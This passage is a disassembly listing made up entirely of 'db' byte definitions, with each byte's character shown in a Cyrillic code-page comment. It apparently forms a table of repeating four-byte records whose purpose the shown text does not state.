		db  12h	;  
		db 0D2h	; р
		db  51h	; Q
		db  57h	; W
		db  21h	; !
		db 0D2h	; р
		db    9	;  
		db  4Ah	; J
		db 0A3h	; ё
		db 0D2h	; р
		db  5Eh	; ^
		db    0	;  
		db    7	;  
		db 0D2h	; р
		db  62h	; b
		db 0E0h	; Ю
		db  58h	; X
		db 0D2h	; р
		db  62h	; b
		db 0E0h	; Ю
		db  59h	; Y
		db 0D3h	; с
		db    1	;  
		db  65h	; e
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  67h	; g
		db  71h	; q
		db 0D3h	; с
		db    1	;  
		db  6Ch	; l
		db    1	;  
		db 0D3h	; с
		db    1	;  
		db  71h	; q
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  72h	; r
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  74h	; t
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  75h	; u
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  76h	; v
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  76h	; v
		db    3	;  
		db 0D3h	; с
		db    1	;  
		db  7Ch	; |
		db  66h	; f
		db 0D3h	; с
		db    1	;  
		db  7Ch	; |
		db  67h	; g
		db 0D3h	; с
		db    1	;  
		db  90h	; ░
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  93h	; ⌠
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  93h	; ⌠
		db    3	;  
		db 0D3h	; с
		db    1	;  
		db  94h	; ■
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db  94h	; ■
		db    3	;  
		db 0D3h	; с
		db    1	;  
		db  95h	; ∙
		db    2	;  
		db 0D3h	; с
		db    1	;  
		db 0A0h	; ═
		db    3	;  
		db 0D3h	; с
		db    1	;  
		db 0A0h	; ═
		db    4	;  
		db 0D3h	; с
		db    1	;  
		db 0C0h	; ю
		db  61h	; a
		db 0D3h	; с
		db    1	;  
		db 0C0h	; ю
		db  62h	; b
		db 0D3h	; с
		db    1	;  
		db 0CBh	; к
		db  0Ah	;  
		db 0D3h	; с
		db    1	;  
		db 0CBh	; к
		db  0Dh	;  
		db 0D3h	; с
		db    1	;  
		db  28h	; (
		db    1	;  
		db 0D3h	; с
		db    1	;  
		db  28h	; (
		db    8	;  
		db 0D3h	; с
		db  0Ah	;  
		db 0A2h	; ╒
		db  44h	; D
		db 0D3h	; с
		db  0Ah	;  
		db 0FDh	; Щ
		db  2Ah	; *
		db 0D3h	; с
		db  0Ah	;  
		db  1Ah	;  
		db 0B1h	; ╠
		db 0D3h	; с
		db  0Bh	;  
		db  92h	; ▓
		db  0Ch	;  
		db 0D3h	; с
		db  0Bh	;  
		db  60h	; `
		db    1	;  
		db 0D3h	; с
		db  6Fh	; o
		db 0D0h	; п
		db 0CCh	; л
		db 0D3h	; с
		db  6Fh	; o
		db 0D0h	; п
		db 0CFh	; о
		db 0D3h	; с
		db  72h	; r
		db  0Eh	;  
		db    1	;  
		db 0D3h	; с
		db  73h	; s
		db 0DEh	; ч
		db 0E7h	; Г
		db 0D3h	; с
		db  78h	; x
		db 0E0h	; Ю
		db  24h	; $
		db 0D3h	; с
		db  7Ch	; |
		db    0	;  
		db 0A9h	; ╘
		db 0D3h	; с
		db  7Ch	; |
		db    0	;  
		db 0C3h	; ц
		db 0D3h	; с
		db  7Eh	; ~
		db 0F8h	; Ь
		db  82h	; ┌
		db 0D3h	; с
		db  80h	; ─
		db  60h	; `
		db  63h	; c
		db 0D3h	; с
		db  85h	; ┘
		db 0DFh	; ъ
		db  29h	; )
		db 0D3h	; с
		db  0Fh	;  
		db 0AFh	; ╞
		db    1	;  
		db 0D3h	; с
		db  0Fh	;  
		db  3Ah	; :
		db  62h	; b
		db 0D3h	; с
		db 0ABh	; ╚
		db 0ACh	; ╛
		db  86h	; ├
		db 0D3h	; с
		db 0C2h	; б
		db 0DAh	; з
		db    2	;  
		db 0D3h	; с
		db  15h	;  
		db  78h	; x
		db    1	;  
		db 0D3h	; с
		db  15h	;  
		db 0BCh	; ╪
		db  3Ah	; :
		db 0D3h	; с
		db  15h	;  
		db    8	;  
		db 0ECh	; Л
		db 0D3h	; с
		db 0D8h	; ь
		db  32h	; 2
		db  96h	; √
		db 0D3h	; с
		db 0D8h	; ь
		db  32h	; 2
		db 0A0h	; ═
		db 0D3h	; с
		db  16h	;  
		db  35h	; 5
		db  21h	; !
		db 0D3h	; с
		db  17h	;  
		db  34h	; 4
		db  83h	; ┐
		db 0D3h	; с
		db 0ECh	; Л
		db  6Dh	; m
		db    3	;  
		db 0D3h	; с
		db 0FEh	; Ч
		db  2Bh	; +
		db  0Bh	;  
		db 0D3h	; с
		db  24h	; $
		db 0C0h	; ю
		db    1	;  
		db 0D3h	; с
		db  24h	; $
		db 0C0h	; ю
		db    2	;  
		db 0D3h	; с
		db  29h	; )
		db    4	;  
		db  21h	; !
		db 0D3h	; с
		db  29h	; )
		db    4	;  
		db  22h	; "
		db 0D3h	; с
		db  2Fh	; /
		db  80h	; ─
		db    1	;  
		db 0D3h	; с
		db  2Fh	; /
		db  80h	; ─
		db    2	;  
		db 0D3h	; с
		db  2Fh	; /
		db  2Dh	; -
		db  17h	;  
		db 0D3h	; с
		db    5	;  
		db    1	;  
		db 0D9h	; ы
		db 0D3h	; с
		db  3Dh	; =
		db 0EDh	; М
		db 0C3h	; ц
		db 0D3h	; с
		db  3Fh	; ?
		db  2Bh	; +
		db  33h	; 3
		db 0D3h	; с
		db  47h	; G
		db 0A0h	; ═
		db  22h	; "
		db 0D3h	; с
		db  47h	; G
		db 0A0h	; ═
		db  23h	; #
		db 0D3h	; с
		db  47h	; G
		db 0BCh	; ╪
		db 0BCh	; ╪
		db 0D3h	; с
		db  51h	; Q
		db  91h	; ▒
		db    1	;  
		db 0D3h	; с
		db  51h	; Q
		db  91h	; ▒
		db    5	;  
		db 0D3h	; с
		db  51h	; Q
		db  99h	; ≥
		db 0C8h	; х
		db 0D3h	; с
		db  51h	; Q
		db  10h	;  
		db    2	;  
		db 0D3h	; с
		db  51h	; Q
		db  10h	;  
		db    3	;  
		db 0D3h	; с
		db  51h	; Q
		db 0D8h	; ь
		db    3	;  
		db 0D3h	; с
		db  51h	; Q
		db 0E0h	; Ю
		db    1	;  
		db 0D4h	; т
		db    1	;  
		db  78h	; x
		db    3	;  
		db 0D4h	; т
		db    1	;  
		db  7Ah	; z
		db 0FCh	; Э
		db 0D4h	; т
		db    1	;  
		db  7Ch	; |
		db    2	;  
		db 0D4h	; т
		db    1	;  
		db  80h	; ─
		db  28h	; (
		db 0D4h	; т
		db    1	;  
		db  80h	; ─
		db  2Ah	; *
		db 0D4h	; т
		db  65h	; e
		db    0	;  
		db  0Ah	;  
		db 0D4h	; т
		db  65h	; e
		db 0C0h	; ю
		db  46h	; F
		db 0D4h	; т
		db  65h	; e
		db 0C0h	; ю
		db  47h	; G
		db 0D4h	; т
		db  65h	; e
		db  20h	;  
		db  33h	; 3
		db 0D4h	; т
		db  65h	; e
		db  27h	; '
		db  33h	; 3
		db 0D4h	; т
		db  65h	; e
		db    4	;  
		db 0FDh	; Щ
		db 0D4h	; т
		db  69h	; i
		db 0C1h	; а
		db    2	;  
		db 0D4h	; т
		db  6Ch	; l
		db 0C8h	; х
		db  4Bh	; K
		db 0D4h	; т
		db  6Dh	; m
		db  22h	; "
		db 0A2h	; ╒
		db 0D4h	; т
		db  0Bh	;  
		db  80h	; ─
		db  1Ah	;  
		db 0D4h	; т
		db  0Bh	;  
		db  5Fh	; _
		db 0C8h	; х
		db 0D4h	; т
		db  6Fh	; o
		db 0C0h	; ю
		db  22h	; "
		db 0D4h	; т
		db  6Fh	; o
		db 0C0h	; ю
		db  23h	; #
		db 0D4h	; т
		db  6Fh	; o
		db  20h	;  
		db  26h	; &
		db 0D4h	; т
		db  6Fh	; o
		db  30h	; 0
		db  28h	; (
		db 0D4h	; т
		db  6Fh	; o
		db  30h	; 0
		db  29h	; )
		db 0D4h	; т
		db  6Fh	; o
		db  33h	; 3
		db 0AAh	; ╙
		db 0D4h	; т
		db  6Fh	; o
		db  40h	; @
		db  84h	; └
		db 0D4h	; т
		db  6Fh	; o
		db  4Ch	; L
		db 0F3h	; С
		db 0D4h	; т
		db  71h	; q
		db    0	;  
		db    1	;  
		db 0D4h	; т
		db  71h	; q
		db    0	;  
		db    2	;  
		db 0D4h	; т
		db  71h	; q
		db  46h	; F
		db  0Ah	;  
		db 0D4h	; т
		db  73h	; s
		db 0C0h	; ю
		db 0C1h	; а
		db 0D4h	; т
		db  73h	; s
		db 0C0h	; ю
		db 0C3h	; ц
		db 0D4h	; т
		db  78h	; x
		db  42h	; B
		db 0CCh	; л
		db 0D4h	; т
		db  79h	; y
		db    0	;  
		db 0C2h	; б
		db 0D4h	; т
		db  79h	; y
		db    0	;  
		db 0DBh	; ш
		db 0D4h	; т
		db  79h	; y
		db  80h	; ─
		db    1	;  
		db 0D4h	; т
		db  79h	; y
		db  80h	; ─
		db    2	;  
		db 0D4h	; т
		db  79h	; y
		db  82h	; ┌
		db    5	;  
		db 0D4h	; т
		db  79h	; y
		db 0C0h	; ю
		db    1	;  
		db 0D4h	; т
		db  79h	; y
		db 0C0h	; ю
		db  22h	; "
		db 0D4h	; т
		db  79h	; y
		db  24h	; $
		db    2	;  
		db 0D4h	; т
		db  7Ah	; z
		db    1	;  
		db    2	;  
		db 0D4h	; т
		db  7Ah	; z
		db  80h	; ─
		db  0Ah	;  
		db 0D4h	; т
		db  7Ah	; z
		db  81h	; │
		db  0Ah	;  
		db 0D4h	; т
		db  7Bh	; {
		db  64h	; d
		db  64h	; d
		db 0D4h	; т
		db  7Bh	; {
		db  60h	; `
		db  64h	; d
		db 0D4h	; т
		db  7Eh	; ~
		db 0C8h	; х
		db  29h	; )
		db 0D4h	; т
		db  81h	; │
		db    0	;  
		db    4	;  
		db 0D4h	; т
		db  83h	; ┐
		db  9Bh	; ⌡
		db    2	;  
		db 0D4h	; т
		db  83h	; ┐
		db  9Bh	; ⌡
		db    3	;  
		db 0D4h	; т
		db  83h	; ┐
		db 0A0h	; ═
		db    2	;  
		db 0D4h	; т
		db  83h	; ┐
		db 0A8h	; ╗
		db    6	;  
		db 0D4h	; т
		db  83h	; ┐
		db 0A8h	; ╗
		db    7	;  
		db 0D4h	; т
		db  83h	; ┐
		db  1Eh	;  
		db  2Ah	; *
		db 0D4h	; т
		db  83h	; ┐
		db  1Eh	;  
		db  2Bh	; +
		db 0D4h	; т
		db  8Bh	; ▀
		db  80h	; ─
		db    3	;  
		db 0D4h	; т
		db  8Bh	; ▀
		db  81h	; │
		db  82h	; ┌
		db 0D4h	; т
		db  0Eh	;  
		db  41h	; A
		db    2	;  
		db 0D4h	; т
		db  8Ch	; ▄
		db 0F6h	; Ж
		db 0FDh	; Щ
		db 0D4h	; т
		db  8Ch	; ▄
		db 0F6h	; Ж
		db 0FEh	; Ч
		db 0D4h	; т
		db  8Dh	; █
		db  98h	; ≤
		db    1	;  
		db 0D4h	; т
		db  8Dh	; █
		db 0A8h	; ╗
		db    4	;  
		db 0D4h	; т
		db  8Dh	; █
		db 0BEh	; Ў
		db  50h	; P
		db 0D4h	; т
		db  8Dh	; █
		db 0BEh	; Ў
		db  51h	; Q
		db 0D4h	; т
		db  8Dh	; █
		db 0DBh	; ш
		db    7	;  
		db 0D4h	; т
		db  8Dh	; █
		db 0E8h	; Х
		db 0FEh	; Ч
		db 0D4h	; т
		db  8Dh	; █
		db  1Fh	;  
		db    2	;  
		db 0D4h	; т
		db  8Dh	; █
		db  3Dh	; =
		db    1	;  
		db 0D4h	; т
		db  8Dh	; █
		db  54h	; T
		db  0Ch	;  
		db 0D4h	; т
		db  8Eh	; ▌
		db  1Ch	;  
		db  42h	; B
		db 0D4h	; т
		db  91h	; ▒
		db    4	;  
		db  61h	; a
		db 0D4h	; т
		db  91h	; ▒
		db    4	;  
		db  62h	; b
		db 0D4h	; т
		db  92h	; ▓
		db    0	;  
		db  0Ah	;  
		db 0D4h	; т
		db  92h	; ▓
		db    0	;  
		db  0Bh	;  
		db 0D4h	; т
		db  9Bh	; ⌡
		db  6Fh	; o
		db    2	;  
		db 0D4h	; т
		db  9Bh	; ⌡
		db 0A8h	; ╗
		db    1	;  
		db 0D4h	; т
		db  9Bh	; ⌡
		db 0C3h	; ц
		db  61h	; a
		db 0D4h	; т
		db  9Ch	; °
		db    4	;  
		db  14h	;  
		db 0D4h	; т
		db  9Ch	; °
		db    4	;  
		db    4	;  
		db 0D4h	; т
		db  9Fh	; ÷
		db 0C0h	; ю
		db    8	;  
		db 0D4h	; т
		db  9Fh	; ÷
		db 0C0h	; ю
		db    9	;  
		db 0D4h	; т
		db 0A4h	; є
		db    0	;  
		db  66h	; f
		db 0D4h	; т
		db  11h	;  
		db  20h	;  
		db    2	;  
		db 0D4h	; т
		db 0B5h	; ╣
		db  36h	; 6
		db    2	;  
		db 0D4h	; т
		db 0B5h	; ╣
		db  36h	; 6
		db    3	;  
		db 0D4h	; т
		db 0B6h	; І
		db  3Fh	; ?
		db  42h	; B
		db 0D4h	; т
		db 0B9h	; ╧
		db 0B9h	; ╧
		db  13h	;  
		db 0D4h	; т
		db 0BCh	; ╪
		db    8	;  
		db  22h	; "
		db 0D4h	; т
		db 0BFh	; ©
		db 0A1h	; ║
		db  28h	; (
		db 0D4h	; т
		db 0BFh	; ©
		db 0A5h	; ╔
		db    5	;  
		db 0D4h	; т
		db 0BFh	; ©
		db 0A8h	; ╗
		db    2	;  
		db 0D4h	; т
		db 0BFh	; ©
		db 0C0h	; ю
		db  22h	; "
		db 0D4h	; т
		db 0BFh	; ©
		db 0C8h	; х
		db    6	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  21h	; !
		db    2	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  40h	; @
		db  0Ah	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  41h	; A
		db    2	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  43h	; C
		db    2	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  46h	; F
		db  0Ah	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  46h	; F
		db    3	;  
		db 0D4h	; т
		db 0BFh	; ©
		db  47h	; G
		db    4	;  
		db 0D4h	; т
		db 0C6h	; ф
		db    1	;  
		db  42h	; B
		db 0D4h	; т
		db  14h	;  
		db    0	;  
		db  7Eh	; ~
		db 0D4h	; т
		db  14h	;  
		db  9Eh	; ·
		db 0FEh	; Ч
		db 0D4h	; т
		db  14h	;  
		db  9Fh	; ÷
		db 0FEh	; Ч
		db 0D4h	; т
		db 0C9h	; и
		db  12h	;  
		db  46h	; F
		db 0D4h	; т
		db 0C9h	; и
		db  12h	;  
		db  47h	; G
		db 0D4h	; т
		db 0C9h	; и
		db  18h	;  
		db  11h	;  
		db 0D4h	; т
		db 0D0h	; п
		db 0B9h	; ╧
		db    1	;  
		db 0D4h	; т
		db 0D0h	; п
		db 0DAh	; з
		db    1	;  
		db 0D4h	; т
		db 0D0h	; п
		db 0DEh	; ч
		db 0C9h	; и
		db 0D4h	; т
		db 0D0h	; п
		db 0DEh	; ч
		db 0CAh	; й
		db 0D4h	; т
		db 0D0h	; п
		db 0E5h	; Е
		db    1	;  
		db 0D4h	; т
		db 0D0h	; п
		db  17h	;  
		db    1	;  
		db 0D4h	; т
		db  15h	;  
		db    0	;  
		db    2	;  
		db 0D4h	; т
		db  15h	;  
		db    0	;  
		db    9	;  
		db 0D4h	; т
		db  15h	;  
		db  79h	; y
		db  83h	; ┐
		db 0D4h	; т
		db  15h	;  
		db  79h	; y
		db  85h	; ┘
		db 0D4h	; т
		db  15h	;  
		db 0A1h	; ║
		db  40h	; @
		db 0D4h	; т
		db  15h	;  
		db 0A2h	; ╒
		db  11h	;  
		db 0D4h	; т
		db  15h	;  
		db 0E0h	; Ю
		db    3	;  
		db 0D4h	; т
		db  15h	;  
		db 0E0h	; Ю
		db    4	;  
		db 0D4h	; т
		db  15h	;  
		db  40h	; @
		db  22h	; "
		db 0D4h	; т
		db  15h	;  
		db  41h	; A
		db    2	;  
		db 0D4h	; т
		db 0DAh	; з
		db    0	;  
		db    3	;  
		db 0D4h	; т
		db 0DAh	; з
		db  40h	; @
		db    3	;  
		db 0D4h	; т
		db 0DBh	; ш
		db  39h	; 9
		db 0C8h	; х
		db 0D4h	; т
		db 0DFh	; ъ
		db    5	;  
		db    1	;  
		db 0D4h	; т
		db 0E2h	; Б
		db 0E2h	; Б
		db    1	;  
		db 0D4h	; т
		db 0E9h	; И
		db  58h	; X
		db    2	;  
		db 0D4h	; т
		db 0EAh	; Й
		db 0EBh	; К
		db 0F1h	; Я
		db 0D4h	; т
		db 0ECh	; Л
		db 0D4h	; т
		db  0Dh	;  
		db 0D4h	; т
		db 0ECh	; Л
		db 0D4h	; т
		db  0Eh	;  
		db 0D4h	; т
		db 0F2h	; Р
		db  28h	; (
		db    2	;  
		db 0D4h	; т
		db 0F2h	; Р
		db  28h	; (
		db  32h	; 2
		db 0D4h	; т
		db 0F5h	; У
		db  9Eh	; ·
		db  42h	; B
		db 0D4h	; т
		db 0F5h	; У
		db 0FFh	;  
		db    2	;  
		db 0D4h	; т
		db 0F9h	; Ы
		db  11h	;  
		db  9Dh	; ²
		db 0D4h	; т
		db 0F9h	; Ы
		db  11h	;  
		db  9Eh	; ·
		db 0D4h	; т
		db 0FCh	; Э
		db  77h	; w
		db    3	;  
		db 0D4h	; т
		db 0FCh	; Э
		db  77h	; w
		db    4	;  
		db 0D4h	; т
		db  1Fh	;  
		db 0E0h	; Ю
		db    2	;  
		db 0D4h	; т
		db  1Fh	;  
		db 0E0h	; Ю
		db    3	;  
		db 0D4h	; т
		db  1Fh	;  
		db 0F4h	; Т
		db    3	;  
		db 0D4h	; т
		db  1Fh	;  
		db 0FDh	; Щ
		db 0A0h	; ═
		db 0D4h	; т
		db  1Fh	;  
		db  56h	; V
		db  64h	; d
		db 0D4h	; т
		db  1Fh	;  
		db  58h	; X
		db  64h	; d
		db 0D4h	; т
		db  21h	; !
		db  20h	;  
		db 0A0h	; ═
		db 0D4h	; т
		db  21h	; !
		db  37h	; 7
		db    5	;  
		db 0D4h	; т
		db  22h	; "
		db 0FAh	; З
		db    2	;  
		db 0D4h	; т
		db  22h	; "
		db 0FAh	; З
		db    8	;  
		db 0D4h	; т
		db  28h	; (
		db    0	;  
		db  0Ah	;  
		db 0D4h	; т
		db  28h	; (
		db    5	;  
		db  32h	; 2
		db 0D4h	; т
		db  29h	; )
		db    2	;  
		db 0E4h	; Д
		db 0D4h	; т
		db  29h	; )
		db 0D0h	; п
		db    6	;  
		db 0D4h	; т
		db  29h	; )
		db 0D0h	; п
		db    7	;  
		db 0D4h	; т
		db  29h	; )
		db 0D0h	; п
		db    8	;  
		db 0D4h	; т
		db  29h	; )
		db    4	;  
		db    1	;  
		db 0D4h	; т
		db  29h	; )
		db    4	;  
		db  42h	; B
		db 0D4h	; т
		db  29h	; )
		db  40h	; @
		db  21h	; !
		db 0D4h	; т
		db  29h	; )
		db  44h	; D
		db  21h	; !
		db 0D4h	; т
		db  2Ah	; *
		db 0F2h	; Р
		db    2	;  
		db 0D4h	; т
		db  2Dh	; -
		db 0ACh	; ╛
		db  0Bh	;  
		db 0D4h	; т
		db  30h	; 0
		db  2Ch	; ,
		db  46h	; F
		db 0D4h	; т
		db  31h	; 1
		db  80h	; ─
		db  41h	; A
		db 0D4h	; т
		db  31h	; 1
		db  80h	; ─
		db  42h	; B
		db 0D4h	; т
		db    5	;  
		db  42h	; B
		db  0Eh	;  
		db 0D4h	; т
		db  32h	; 2
		db    0	;  
		db  0Ah	;  
		db 0D4h	; т
		db  32h	; 2
		db    0	;  
		db  0Fh	;  
		db 0D4h	; т
		db  33h	; 3
		db    0	;  
		db  41h	; A
		db 0D4h	; т
		db  33h	; 3
		db    0	;  
		db  44h	; D
		db 0D4h	; т
		db  33h	; 3
		db 0A0h	; ═
		db    1	;  
		db 0D4h	; т
		db  33h	; 3
		db 0A0h	; ═
		db    2	;  
		db 0D4h	; т
		db  33h	; 3
		db 0C0h	; ю
		db    2	;  
		db 0D4h	; т
		db  33h	; 3
		db 0C0h	; ю
		db    5	;  
		db 0D4h	; т
		db  33h	; 3
		db 0C8h	; х
		db 0F2h	; Р
		db 0D4h	; т
		db  33h	; 3
		db 0CFh	; о
		db  43h	; C
		db 0D4h	; т
		db  33h	; 3
		db  21h	; !
		db  6Ah	; j
		db 0D4h	; т
		db  3Dh	; =
		db  0Fh	;  
		db    8	;  
		db 0D4h	; т
		db  3Dh	; =
		db  19h	;  
		db 0E2h	; Б
		db 0D4h	; т
		db  3Dh	; =
		db  1Ah	;  
		db    2	;  
		db 0D4h	; т
		db  3Dh	; =
		db  1Ah	;  
		db  22h	; "
		db 0D4h	; т
		db  3Fh	; ?
		db  0Ah	;  
		db 0FAh	; З
		db 0D4h	; т
		db  3Fh	; ?
		db  0Bh	;  
		db 0FAh	; З
		db 0D4h	; т
		db  3Fh	; ?
		db  80h	; ─
		db 0D4h	; т
		db 0D4h	; т
		db  41h	; A
		db 0C1h	; а
		db    6	;  
		db 0D4h	; т
		db  41h	; A
		db 0F2h	; Р
		db 0D2h	; р
		db 0D4h	; т
		db  43h	; C
		db  20h	;  
		db  28h	; (
		db 0D4h	; т
		db  43h	; C
		db  20h	;  
		db  41h	; A
		db 0D4h	; т
		db    7	;  
		db  80h	; ─
		db 0A2h	; ╒
		db 0D4h	; т
		db  47h	; G
		db    0	;  
		db    2	;  
		db 0D4h	; т
		db  47h	; G
		db    0	;  
		db    3	;  
		db 0D4h	; т
		db  47h	; G
		db  80h	; ─
		db  0Ch	;  
		db 0D4h	; т
		db  47h	; G
		db  80h	; ─
		db    8	;  
		db 0D4h	; т
		db  47h	; G
		db  80h	; ─
		db    9	;  
		db 0D4h	; т
		db  47h	; G
		db  85h	; ┘
		db    6	;  
		db 0D4h	; т
		db  47h	; G
		db  9Ch	; °
		db  22h	; "
		db 0D4h	; т
		db  47h	; G
		db  40h	; @
		db  0Ch	;  
		db 0D4h	; т
		db  47h	; G
		db  40h	; @
		db  0Dh	;  
		db 0D4h	; т
		db  53h	; S
		db  44h	; D
		db  83h	; ┐
		db 0D4h	; т
		db  56h	; V
		db 0C0h	; ю
		db  3Bh	; ;
		db 0D4h	; т
		db  56h	; V
		db 0C1h	; а
		db  0Ch	;  
		db 0D4h	; т
		db  57h	; W
		db  40h	; @
		db  0Ch	;  
		db 0D4h	; т
		db  57h	; W
		db  57h	; W
		db  0Bh	;  
		db 0D4h	; т
		db  59h	; Y
		db    0	;  
		db    2	;  
		db 0D4h	; т
		db  59h	; Y
		db    0	;  
		db    5	;  
		db 0D4h	; т
		db  5Bh	; [
		db 0C0h	; ю
		db    3	;  
		db 0D4h	; т
		db  5Bh	; [
		db 0E7h	; Г
		db  22h	; "
		db 0D4h	; т
		db  5Bh	; [
		db  20h	;  
		db    5	;  
		db 0D4h	; т
		db  5Bh	; [
		db  20h	;  
		db    6	;  
		db 0D4h	; т
		db  5Bh	; [
		db  61h	; a
		db    3	;  
		db 0D4h	; т
		db  5Bh	; [
		db  61h	; a
		db    4	;  
		db 0D4h	; т
		db  61h	; a
		db  81h	; │
		db  45h	; E
		db 0D5h	; у
		db  0Bh	;  
		db  66h	; f
		db 0FDh	; Щ
		db 0D5h	; у
		db  0Bh	;  
		db  6Fh	; o
		db 0D2h	; р
		db 0D5h	; у
		db  0Bh	;  
		db  75h	; u
		db    1	;  
		db 0D5h	; у
		db  0Bh	;  
		db  75h	; u
		db    2	;  
		db 0D5h	; у
		db  0Bh	;  
		db  7Bh	; {
		db    1	;  
		db 0D5h	; у
		db  0Bh	;  
		db  89h	; ┴
		db  0Ah	;  
		db 0D5h	; у
		db  0Bh	;  
		db  8Eh	; ▌
		db    1	;  
		db 0D5h	; у
		db  0Bh	;  
		db  95h	; ∙
		db 0B4h	; Є
		db 0D5h	; у
		db  0Bh	;  
		db  95h	; ∙
		db 0B5h	; ╣
		db 0D5h	; у
		db  0Bh	;  
		db 0A0h	; ═
		db 0C9h	; и
		db 0D5h	; у
		db  0Bh	;  
		db 0ACh	; ╛
		db    1	;  
		db 0D5h	; у
		db  80h	; ─
		db 0C2h	; б
		db    2	;  
		db 0D5h	; у
		db  83h	; ┐
		db  20h	;  
		db  22h	; "
		db 0D5h	; у
		db  83h	; ┐
		db  20h	;  
		db  23h	; #
		db 0D5h	; у
		db  83h	; ┐
		db  40h	; @
		db    2	;  
		db 0D5h	; у
		db  83h	; ┐
		db  40h	; @
		db    3	;  
		db 0D5h	; у
		db  8Dh	; █
		db 0C0h	; ю
		db  47h	; G
		db 0D5h	; у
		db  8Dh	; █
		db 0C4h	; д
		db    2	;  
		db 0D5h	; у
		db  8Dh	; █
		db  19h	;  
		db 0E1h	; А
		db 0D5h	; у
		db  8Dh	; █
		db  19h	;  
		db 0E2h	; Б
		db 0D5h	; у
		db 0B2h	; ╡
		db  40h	; @
		db    2	;  
		db 0D5h	; у
		db 0B5h	; ╣
		db  80h	; ─
		db  81h	; │
		db 0D5h	; у
		db 0B7h	; Ї
		db    0	;  
		db    1	;  
		db 0D5h	; у
		db 0C2h	; б
		db  3Ch	; <
		db 0C2h	; б
		db 0D5h	; у
		db 0C2h	; б
		db  3Ch	; <
		db 0E2h	; Б
		db 0D5h	; у
		db  15h	;  
		db  8Dh	; █
		db    2	;  
		db 0D5h	; у
		db  15h	;  
		db 0A4h	; є
		db    2	;  
		db 0D5h	; у
		db 0D7h	; в
		db  43h	; C
		db    1	;  
		db 0D5h	; у
		db 0DBh	; ш
		db  3Eh	; >
		db    3	;  
		db 0D5h	; у
		db 0EBh	; К
		db  21h	; !
		db    1	;  
		db 0D5h	; у
		db  19h	;  
		db 0A9h	; ╘
		db    1	;  
		db 0D5h	; у
		db  24h	; $
		db  50h	; P
		db    2	;  
		db 0D5h	; у
		db  24h	; $
		db  50h	; P
		db    4	;  
		db 0D5h	; у
		db  28h	; (
		db  82h	; ┌
		db  7Fh	; 
		db 0D5h	; у
		db  28h	; (
		db 0C0h	; ю
		db    1	;  
		db 0D5h	; у
		db  28h	; (
		db  42h	; B
		db  7Fh	; 
		db 0D5h	; у
		db  33h	; 3
		db  81h	; │
		db  61h	; a
		db 0D5h	; у
		db  39h	; 9
		db  4Ch	; L
		db 0A1h	; ║
		db 0D5h	; у
		db  39h	; 9
		db  4Dh	; M
		db 0A1h	; ║
		db 0D5h	; у
		db  3Bh	; ;
		db 0EEh	; Н
		db  0Bh	;  
		db 0D5h	; у
		db  3Dh	; =
		db  6Ah	; j
		db    2	;  
		db 0D5h	; у
		db  3Dh	; =
		db  63h	; c
		db    2	;  
		db 0D5h	; у
		db  4Ah	; J
		db    4	;  
		db  82h	; ┌
		db 0D5h	; у
		db  4Ah	; J
		db    4	;  
		db  83h	; ┐
		db 0D5h	; у
		db  57h	; W
		db    0	;  
		db    1	;  
		db 0D5h	; у
		db  57h	; W
		db    1	;  
		db    1	;  
		db 0D5h	; у
		db  5Bh	; [
		db    2	;  
		db  81h	; │
		db 0D5h	; у
		db  5Bh	; [
		db    5	;  
		db  81h	; │
		db 0D6h	; ж
		db    3	;  
		db  66h	; f
		db  1Bh	;  
		db 0D6h	; ж
		db    3	;  
		db  32h	; 2
		db    1	;  
		db 0D8h	; ь
		db    0	;  
		db  6Bh	; k
		db  0Ah	;  
		db 0D8h	; ь
		db    0	;  
		db  6Bh	; k
		db  14h	;  
		db 0D8h	; ь
		db    0	;  
		db  98h	; ≤
		db  0Ah	;  
		db 0D8h	; ь
		db    1	;  
		db 0B7h	; Ї
		db  53h	; S
		db 0D8h	; ь
		db    1	;  
		db 0C0h	; ю
		db    2	;  
		db 0D8h	; ь
		db    1	;  
		db 0C0h	; ю
		db    4	;  
		db 0D8h	; ь
		db    1	;  
		db  5Ah	; Z
		db    2	;  
		db 0D8h	; ь
		db  64h	; d
		db  60h	; `
		db    9	;  
		db 0D8h	; ь
		db  65h	; e
		db  77h	; w
		db  33h	; 3
		db 0D8h	; ь
		db  65h	; e
		db  77h	; w
		db  34h	; 4
		db 0D8h	; ь
		db  65h	; e
		db 0CAh	; й
		db  0Ah	;  
		db 0D8h	; ь
		db  65h	; e
		db 0D6h	; ж
		db    2	;  
		db 0D8h	; ь
		db  65h	; e
		db 0F3h	; С
		db    2	;  
		db 0D8h	; ь
		db  65h	; e
		db  1Eh	;  
		db  82h	; ┌
		db 0D8h	; ь
		db  65h	; e
		db  1Eh	;  
		db  85h	; ┘
		db 0D8h	; ь
		db  65h	; e
		db  2Bh	; +
		db 0FDh	; Щ
		db 0D8h	; ь
		db  65h	; e
		db  50h	; P
		db    3	;  
		db 0D8h	; ь
		db  65h	; e
		db  53h	; S
		db    2	;  
		db 0D8h	; ь
		db  65h	; e
		db  5Fh	; _
		db 0F9h	; Ы
		db 0D8h	; ь
		db  67h	; g
		db  80h	; ─
		db    2	;  
		db 0D8h	; ь
		db  68h	; h
		db  60h	; `
		db  0Ah	;  
		db 0D8h	; ь
		db  68h	; h
		db  60h	; `
		db  0Bh	;  
		db 0D8h	; ь
		db  69h	; i
		db 0A8h	; ╗
		db  33h	; 3
		db 0D8h	; ь
		db  69h	; i
		db 0CEh	; н
		db    5	;  
		db 0D8h	; ь
		db  6Bh	; k
		db    0	;  
		db  17h	;  
		db 0D8h	; ь
		db  6Bh	; k
		db    0	;  
		db    3	;  
		db 0D8h	; ь
		db  0Bh	;  
		db  80h	; ─
		db  16h	;  
		db 0D8h	; ь
		db  0Bh	;  
		db 0D0h	; п
		db    4	;  
		db 0D8h	; ь
		db  0Bh	;  
		db  5Ch	; \
		db  32h	; 2
